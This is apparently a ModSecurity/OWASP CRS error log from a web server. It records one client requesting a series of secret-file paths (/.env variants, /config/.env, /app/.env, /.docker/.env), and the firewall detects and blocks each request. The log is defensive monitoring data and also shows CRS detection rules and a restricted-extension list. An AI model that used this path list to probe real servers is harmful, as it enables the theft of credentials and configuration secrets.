[Sun Jul 20 17:01:34.730438 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSQAAAA0&quot;]
[Sun Jul 20 17:01:34.730691 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSQAAAA0&quot;]
[Sun Jul 20 17:01:34.730879 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSQAAAA0&quot;]
[Sun Jul 20 17:01:34.751155 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSgAAAA0&quot;]
[Sun Jul 20 17:01:34.751433 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSgAAAA0&quot;]
[Sun Jul 20 17:01:34.751652 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSgAAAA0&quot;]
[Sun Jul 20 17:01:34.771863 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSwAAAA0&quot;]
[Sun Jul 20 17:01:34.772069 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSwAAAA0&quot;]
[Sun Jul 20 17:01:34.772386 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSwAAAA0&quot;]
[Sun Jul 20 17:01:34.772586 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUSwAAAA0&quot;]
[Sun Jul 20 17:01:34.792606 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTAAAAA0&quot;]
[Sun Jul 20 17:01:34.792763 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTAAAAA0&quot;]
[Sun Jul 20 17:01:34.793006 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTAAAAA0&quot;]
[Sun Jul 20 17:01:34.793184 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTAAAAA0&quot;]
[Sun Jul 20 17:01:34.813393 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTQAAAA0&quot;]
[Sun Jul 20 17:01:34.813657 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTQAAAA0&quot;]
[Sun Jul 20 17:01:34.813836 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTQAAAA0&quot;]
[Sun Jul 20 17:01:34.834124 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTgAAAA0&quot;]
[Sun Jul 20 17:01:34.834386 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTgAAAA0&quot;]
[Sun Jul 20 17:01:34.834564 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTgAAAA0&quot;]
[Sun Jul 20 17:01:34.854818 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTwAAAA0&quot;]
[Sun Jul 20 17:01:34.855060 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTwAAAA0&quot;]
[Sun Jul 20 17:01:34.855239 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUTwAAAA0&quot;]
[Sun Jul 20 17:01:34.875443 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUAAAAA0&quot;]
[Sun Jul 20 17:01:34.875711 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUAAAAA0&quot;]
[Sun Jul 20 17:01:34.875899 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUAAAAA0&quot;]
[Sun Jul 20 17:01:34.896121 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUQAAAA0&quot;]
[Sun Jul 20 17:01:34.896367 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUQAAAA0&quot;]
[Sun Jul 20 17:01:34.896563 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUQAAAA0&quot;]
[Sun Jul 20 17:01:34.916794 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUgAAAA0&quot;]
[Sun Jul 20 17:01:34.917052 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUgAAAA0&quot;]
[Sun Jul 20 17:01:34.917234 2025] [:error] [pid 1321413] [client 185.177.72.106:6542] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aH0EzoxoTuBEoACPPcEUUgAAAA0&quot;]
